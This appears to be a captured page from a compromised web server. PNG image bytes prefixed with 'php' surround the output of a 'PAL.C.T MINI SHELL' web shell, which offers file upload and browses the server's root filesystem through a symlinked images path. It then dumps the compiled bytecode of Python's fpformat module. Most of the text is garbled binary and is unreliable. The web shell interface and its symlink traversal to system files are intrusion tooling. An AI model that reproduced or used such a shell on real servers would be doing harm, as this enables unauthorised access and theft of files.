php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /var/www/html/sub/images/sym/root/usr/lib/python2.6/
upload
files >> /var/www/html/sub/images/sym/root/usr/lib/python2.6/fpformat.pyo

Lc@sdZddklZeddd[ddkZddd	gZeid
Zyd	efdYZWne	j
o
dZnXd
Z
dZdZdZ
dZdZdS(s8General floating point formatting functions.

Functions:
fix(x, digits_behind)
sci(x, digits_behind)

Each takes a number or a string and a number of digits as arguments.

Parameters:
x:             number to be formatted; or a string resembling a number
digits_behind: number of digits behind the decimal point
i(twarnpy3ks2the fpformat module has been removed in Python 3.0t
stackleveliNtfixtscit
NotANumbers-^([-+]?)0*(\d*)((?:\.\d*)?)(([eE][-+]?\d+)?)$cBseZRS((t__name__t
__module__(((s/usr/lib/python2.6/fpformat.pyRssfpformat.NotANumbercCsti|}|djo
t|n|idddd\}}}}|djo
d}n|o|d}n|ot|d}nd}||||fS(	sReturn (sign, intpart, fraction, expo) or raise an exception:
    sign is '+' or '-'
    intpart is 0 or more digits beginning with a nonzero
    fraction is 0 or more digits
    expo is an integeriiiit+tiN(tdecodertmatchtNoneRtgrouptint(tstrestsigntintparttfractiontexpparttexpo((s/usr/lib/python2.6/fpformat.pytextract#s

$

cCs|djoLt|}||| ||}}||jo|d||}qn\|djoNt|}|| |||}}||jod|||}qn||fS(s5Remove the exponent by changing intpart and fraction.it0(tlen(RRRtfti((s/usr/lib/python2.6/fpformat.pytunexpo2s


cCsgt|}||jo||d||fSt|}||djod|dfS||}|||}|djo||d}xL|djo$||djoPn|d}qWd|}|d}d}|| tt||ddt||d}|| ||}}n|djo||| fS|| d|dfSdS(s*Round or extend the fraction to size digs.RiRt5it9N(Rtchrtord(RRtdigsRRttotalt	nextdigittn((s/usr/lib/python2.6/fpformat.pyt	roundfrac@s.





8
cCst|tdjot|}nyt|\}}}}Wntj
o|SXt|||\}}t|||\}}x'|o|ddjo|d}qW|djo
d}n|djo||d|S||SdS(sFormat x as [-]ddd.ddd with 'digs' digits after the point
    and at least one digit before.
    If digs <= 0, the point is suppressed.RiRit.N(ttypetreprRRRR#(txRRRRR((s/usr/lib/python2.6/fpformat.pyRZs 


cCst|tdjot|}nt|\}}}}|phx1|o)|ddjo|d}|d}qKW|o#|d|d}}|d}qd}n.|t|d}|d|d|}}td|}t|||\}}t|djo6|d|d|d |t|d}}}n||}|djo|d|}ntt|}ddt||}|djod|}nd	|}|d
|S(sFormat x as [-]d.dddE[+-]ddd with 'digs' digits after the point
    and exactly one digit before.
    If digs is <= 0, one digit is kept and the point is suppressed.RiRiiR$it-Rte(R%R&RRtmaxR#tabs(R'RRRRRRR)((s/usr/lib/python2.6/fpformat.pyRjs8

 



cCs[y;x4td\}}|Gt||Gt||GHqWnttfj
onXdS(sInteractive test run.sEnter (x, digs): N(tinputRRtEOFErrortKeyboardInterrupt(R'R((s/usr/lib/python2.6/fpformat.pyttests&(t__doc__twarningsRtret__all__tcompileR	t
ValueErrorRt	TypeErrorRRR#RRR/(((s/usr/lib/python2.6/fpformat.pyt<module>s 					 
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`